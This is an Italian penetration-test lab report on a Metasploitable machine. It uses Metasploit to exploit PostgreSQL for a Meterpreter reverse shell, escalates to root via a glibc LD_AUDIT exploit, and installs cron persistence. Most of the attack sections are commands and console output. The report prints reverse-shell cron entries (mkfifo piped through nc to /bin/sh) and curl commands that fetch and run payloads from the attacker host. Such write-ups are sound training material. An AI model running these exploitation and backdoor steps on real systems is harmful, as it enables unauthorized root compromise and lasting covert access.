

# Escalation di privilegi e implementazione di meccanismi di persistenza (Backdoor)

**Data ;** 21/01/2026

**Autore :** Francesco Sardi

**Oggetto :** Escalation di privilegi e implementazione di meccanismi di persistenza (*Backdoor*)

## 1. Obiettivi Tecnici

- Ottenere una shell remota sulla macchina target (*Sessione Meterpreter*).
- Verificare l'identità e i permessi dell'utente compromesso.
- Utilizzare moduli di post-exploitation per la ricognizione automatizzata delle vulnerabilità locali.
- Eseguire Privilege Escalation sfruttando vulnerabilità del kernel o configurazioni errate di sistema.
- Stabilire una persistenza (*Backdoor*) sulla macchina target per garantire accessi futuri.

## 2. Executive Summary

Il presente documento illustra le attività di penetration testing condotte su una macchina target Linux. L'obiettivo principale è stato simulare uno scenario di attacco completo, partendo dallo sfruttamento di una vulnerabilità nel servizio PostgreSQL per ottenere l'accesso iniziale, fino all'escalation dei privilegi per ottenere il controllo totale (root) del sistema.

Il test si è concluso con successo attraversando le seguenti fasi:

1. Compromissione iniziale tramite servizio vulnerabile.
2. Enumerazione post-exploitation per identificare vettori di attacco locale.
3. Sfruttamento di una vulnerabilità nel loader glibc per ottenere i privilegi di root.
4. Installazione di un meccanismo di persistenza (backdoor) tramite CRON job per garantire l'accesso continuativo.

### 3. Fasi Operative

#### Fase 1: Configurazione Ambiente e Accesso Iniziale

Come passaggio preliminare, si configura l'ambiente di attacco e il listener. È necessario impostare *LHOST* e *LPORT*, ovvero l'indirizzo IP e la porta della macchina attaccante su cui verrà ricevuta la connessione di ritorno (*reverse shell*). Parallelamente, per servire eventuali payload o file necessari alla target machine, è stato attivato un server HTTP temporaneo sulla macchina Kali Linux.

Successivamente, si configurano le opzioni del modulo Metasploit selezionato per l'accesso iniziale.

Comandi configurazione exploit: *set RHOST [IP\_TARGET] set LHOST [IP\_ATTACCANTE]*  
*show options*

```
msf exploit(linux/postgres/postgres_payload) > show options
Module options (exploit/linux/postgres/postgres_payload):


| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |


Used when connecting via an existing SESSION:


| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |


Used when making a new connection via RHOSTS:


| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   | 192.168.50.101  | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port (TCP)                                                                                                                                                                               |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |


Payload options (linux/x86/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.50.152  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Linux x86 |


View the full module info with the info, or info -d command.
msf exploit(linux/postgres/postgres_payload) > █
```

**Esecuzione:** Verificate le opzioni, si avvia l'exploit.

Comando: *run*

```
msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.152:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/cYERSBFG.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.152:4444 -> 192.168.50.101:56502) at 2026-01-21 14:02:06 +0100
```

**Verifica Utente:** Una volta ottenuta la sessione, si verifica l'identità dell'utente compromesso.

Comando: *getuid*

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: postgres
```

## Fase 2: Escalation dei Privilegi

Per elevare i privilegi da utente standard a root, si procede con l'analisi delle vulnerabilità locali presenti sulla macchina. Si utilizza il modulo di ricognizione automatizzata *local\_exploit\_suggester*.

Comandi di ricerca e selezione: *search suggester use post/multi/recon/local\_exploit\_suggester*

Si impostano i parametri necessari, collegando il modulo alla sessione attiva.

Comandi: *set SESSION [ID\_SESSIONE] show options*

```
msf post(multi/manage/shell_to_meterpreter) > search suggester

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester
1  post/multi/recon/persistence_suggester  .              normal No     Persistence Exploit Suggester

Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester
```

```
msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

  Name                Current Setting  Required  Description
  ----                -
  SESSION              1               yes       The session to run this module on
  SHOWDESCRIPTION      false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > █
```

**Esecuzione:** Si avvia l'analisi.

Comando: *run*

```
[*] 192.168.50.101 - Valid modules for session 1:

# Name                                                                 Potentially Vulnerable? Check Result
-
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc               Yes       The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc               Yes       The target appears to be vulnerable.
3 exploit/linux/local/metfilter_priv_esc_ipv4                       Yes       The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc                     Yes       The service is running, but could not be validated.
5 exploit/linux/local/su_login                                       Yes       The target appears to be vulnerable.
6 exploit/linux/persistence/autostart                               Yes       The service is running, but could not be validated. Xorg is
  installed, possible desktop install.
7 exploit/multi/persistence/cron                                     Yes       The target appears to be vulnerable. Cron timing is valid,
  no cron.deny entries found
8 exploit/unix/local/setuid_nmap                                     Yes       The target is vulnerable. /usr/bin/nmap is setuid
9 exploit/linux/local/abrt_raceabrt_priv_esc                         No        The target is not exploitable.
10 exploit/linux/local/abrt_sosreport_priv_esc                      No        The target is not exploitable.
11 exploit/linux/local/af_packet_chocobo_root_priv_esc              No        The target is not exploitable. System architecture i686 is
  not supported
12 exploit/linux/local/af_packet_packet_set_ring_priv_esc           No        The target is not exploitable.
13 exploit/linux/local/ansible_node_deployer                       No        The target is not exploitable. Ansible does not seem to be
  installed, unable to find ansible executable
14 exploit/linux/local/apport_abrt_chroot_priv_esc                  No        The target is not exploitable.
15 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc        No        The target is not exploitable.
16 exploit/linux/local/brltty_priv_esc                              No        The target is not exploitable.
```

**Analisi Output:** L'esecuzione del modulo ha evidenziato diverse potenziali vulnerabilità. Dall'analisi dei risultati, è stata selezionata la vulnerabilità relativa a *glibc\_ld\_audit\_dso\_load\_priv\_esc*, in quanto ritenuta la più affidabile per il contesto.

Comandi selezione exploit: *use exploit/linux/local/glibc\_ld\_audit\_dso\_load\_priv\_esc set SESSION [ID\_SESSIONE] set PAYLOAD linux/x86/meterpreter/reverse\_tcp*

**Esecuzione Exploit Root:** Configurare le opzioni, si lancia l'exploit per l'elevazione dei privilegi.

Comando: *run*

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.152:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.5hwfI' (1271 bytes) ...
[*] Sending stage (3090404 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.152:4444 -> 192.168.50.101:53390) at 2026-01-21 15:52:41 +0100
[*] Writing '/tmp/.Ptsy9' (271 bytes) ...
[*] Writing '/tmp/.j8TbN' (250 bytes) ...
[*] Launching exploit ...
```

L'exploit è andato a buon fine, garantendo l'accesso come utente **root**

```
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > getuid
Server username: root
meterpreter > █
```

### Fase 3: Installazione Backdoor (Persistenza)

Al fine di mantenere l'accesso al sistema anche dopo il riavvio o la chiusura della connessione, si utilizza il modulo *persistence\_suggester* per identificare i metodi di persistenza applicabili.

Comandi: *use post/multi/recon/persistence\_suggester set SESSION [ID\_SESSIONE\_ROOT] run*

Dall'output emergono due possibili vettori.

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/persistence/autostart	Yes	The service is running, but could not be validated. Xorg is installed, possible desktop install.
2	exploit/multi/persistence/cron	Yes	The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
3	exploit/linux/persistence/opt_package_manager	No	The target is not exploitable. /etc/apt/apt.conf.d/ isn't writable
4	exploit/linux/persistence/bash_profile	No	The target is not exploitable. Bash profile does not exist: /var/lib/postgresql/.bashrc
5	exploit/linux/persistence/docker_image	No	The target is not exploitable. docker is required
6	exploit/linux/persistence/init_openrc	No	The target is not exploitable. /etc/init.d/ isn't writable
7	exploit/linux/persistence/init_systemd	No	The target is not exploitable. Likely not a systemd based system

**Tentativo 1: Metodo Autostart** Si decide inizialmente di sfruttare la vulnerabilità "autostart", che mira a creare una backdoor all'avvio della sessione utente.

Comandi: *use exploit/linux/persistence/autostart set SESSION [ID\_SESSIONE] set PAYLOAD linux/x86/meterpreter/reverse\_tcp run*

```
msf exploit(linux/persistence/autostart) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/autostart) >
[*] Started reverse TCP handler on 192.168.50.152:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Uploading autostart file /root/.config/autostart/woBFT.desktop
[*] Uploading payload file to /tmp/LZlICy
[*] Writing '/tmp/LZlICy' (234 bytes) ...
```

**Analisi Fallimento:** L'output evidenzia un falso positivo. Nonostante il suggeritore avesse indicato la vulnerabilità, l'exploit fallisce poiché la directory specifica necessaria per l'autostart non esiste e non può essere creata nel contesto attuale. È necessario cambiare strategia.

**Tentativo 2: Metodo CRON (Successo)** Si opta per la persistenza tramite "cron", che pianifica l'esecuzione periodica del payload.

Comandi: *use exploit/multi/persistence/cron set SESSION [ID\_SESSIONE] set PAYLOAD linux/x86/meterpreter/reverse\_tcp set VERBOSE true*

```
msf exploit(multi/persistence/cron) > show options
Module options (exploit/multi/persistence/cron):


| Name         | Current Setting | Required | Description                                                |
|--------------|-----------------|----------|------------------------------------------------------------|
| PAYLOAD_NAME |                 | no       | Name of the payload file to write                          |
| SESSION      | 3               | yes      | The session to run this module on                          |
| TIMING       | * * * * *       | no       | Cron timing. Changing will require WfsDelay to be adjusted |


When Targets is one of User Crontab,OSX User Crontab:


| Name | Current Setting | Required | Description                 |
|------|-----------------|----------|-----------------------------|
| USER |                 | no       | User to run cron/crontab as |


Payload options (cmd/linux/http/x86/meterpreter/reverse_tcp):


| Name           | Current Setting | Required | Description                                                                                                                                                            |
|----------------|-----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| FETCH_COMMAND  | CURL            | yes      | Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)                                                                                                 |
| FETCH_DELETE   | false           | yes      | Attempt to delete the binary after execution                                                                                                                           |
| FETCH_FILELESS | none            | yes      | Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)) |
| FETCH_SRVHOST  |                 | no       | Local IP to use for serving payload                                                                                                                                    |
| FETCH_SRVPOR   | 8080            | yes      | Local port to use for serving payload                                                                                                                                  |
| FETCH_URLPATH  |                 | no       | Local URL to use for serving payload                                                                                                                                   |
| LHOST          | 192.168.50.152  | yes      | The listen address (an interface may be specified)                                                                                                                     |
| LPORT          | 4444            | yes      | The listen port                                                                                                                                                        |


When FETCH_COMMAND is one of CURL,GET,WGET:


| Name       | Current Setting | Required | Description                                                                            |
|------------|-----------------|----------|----------------------------------------------------------------------------------------|
| FETCH_PIPE | false           | yes      | Host both the binary payload and the command so it can be piped directly to the shell. |


When FETCH_FILELESS is none:


| Name               | Current Setting | Required | Description                                                                         |
|--------------------|-----------------|----------|-------------------------------------------------------------------------------------|
| FETCH_FILENAME     | lt15NMyms       | no       | Name to use on remote system when storing payload; cannot contain spaces or slashes |
| FETCH_WRITABLE_DIR | ./              | yes      | Remote writable dir to store payload; cannot contain spaces                         |


Exploit target:


| Id | Name         |
|----|--------------|
| 1  | User Crontab |


View the full module info with the info, or info -d command.
```

**Esecuzione:** Si avvia il modulo di persistenza.

Comando: *run*

```

msf exploit(multi/persistence/cron) > run
[*] Command to run on remote host: curl -so ./cgjeJZ0k http://192.168.50.152:8080/L-qpKvDnj9RXSHv8VWYwTw;chmod +x ./cgjeJZ0k;./cgjeJZ0k&
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/cron) >
[*] Fetch handler listening on 192.168.50.152:8080
[*] HTTP server started
[*] Adding resource /L-qpKvDnj9RXSHv8VWYwTw
[*] Started reverse TCP handler on 192.168.50.152:4445
[*] Running automatic check ("set Autocheck false" to disable)
[*] The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] Command to run on remote host: curl -so ./cgjeJZ0k http://192.168.50.152:8080/L-qpKvDnj9RXSHv8VWYwTw;chmod +x ./cgjeJZ0k;./cgjeJZ0k&
[*] Backed up /var/spool/cron/crontabs/root to /home/kali/.msf4/loot/20260122160546_default_192.168.50.101_crontab.root_928926.txt
[*] Writing * * * * curl -so ./cgjeJZ0k http://192.168.50.152:8080/L-qpKvDnj9RXSHv8VWYwTw;chmod +x ./cgjeJZ0k;./cgjeJZ0k& to /var/spool/cron/crontabs/root
[*] Reloading cron to pickup new entry
[*] Payload will be triggered when cron time is reached
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/metasploitable.localdomain_20260122.0546/metasploitable.localdomain_20260122.0546.rc

```

**Verifica Funzionamento:** Per confermare l'avvenuta installazione della backdoor, si verifica la tabella dei cron job sulla macchina target.

Comando: crontab -l

```

msfadmin@metasploitable:~$ sudo crontab -l
[sudo] password for msfadmin:

* * * * * mkfifo /tmp/hrbdnun; nc 192.168.50.152 5555 0</tmp/hrbdnun | /bin/sh >
/tmp/hrbdnun 2>&1; rm /tmp/hrbdnun

* * * * * mkfifo /tmp/kwap; nc 192.168.50.152 5555 0</tmp/kwap | /bin/sh >/tmp/k
wap 2>&1; rm /tmp/kwap

* * * * * mkfifo /tmp/horjgb; nc 192.168.50.152 5555 0</tmp/horjgb | /bin/sh >/t
mp/horjgb 2>&1; rm /tmp/horjgb

* * * * * mkfifo /tmp/zswu; nc 192.168.50.152 5555 0</tmp/zswu | /bin/sh >/tmp/z
swu 2>&1; rm /tmp/zswu

* * * * * mkfifo /tmp/ikccs; nc 192.168.50.152 5556 0</tmp/ikccs | /bin/sh >/tmp
/ikccs 2>&1; rm /tmp/ikccs

* * * * * curl -so ./jPlCRRZJBoQ http://192.168.50.152:8080/_ZC548a3bK3wc1H8Tuda
Kw;chmod +x ./jPlCRRZJBoQ;./jPlCRRZJBoQ&

* * * * * curl -so ./cgjeJZ0k http://192.168.50.152:8080/L-qpKvDnj9RXSHv8VWYwTw;
chmod +x ./cgjeJZ0k;./cgjeJZ0k&
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$

```

Dall'output si conferma che la backdoor è stata correttamente inserita nel crontab dell'utente root, garantendo la ri-esecuzione automatica del payload.

## 4. Conclusioni

L'attività di penetration testing ha avuto esito positivo, evidenziando criticità di sicurezza significative sulla macchina target. La catena di attacco eseguita ha dimostrato come la combinazione di un servizio mal configurato o vulnerabile e il mancato aggiornamento delle librerie di sistema (*glibc*) possa portare alla compromissione totale dell'host.

L'ottenimento dei privilegi di root ha permesso non solo il controllo completo delle risorse, ma anche l'installazione efficace di meccanismi di persistenza tramite il demone *CRON*. Questo scenario conferma che, in assenza di sistemi di monitoraggio attivo e di una rigorosa politica di patching, un attaccante è in grado di mantenere l'accesso al sistema a tempo indeterminato, esfiltrando dati o alterando configurazioni senza essere rilevato.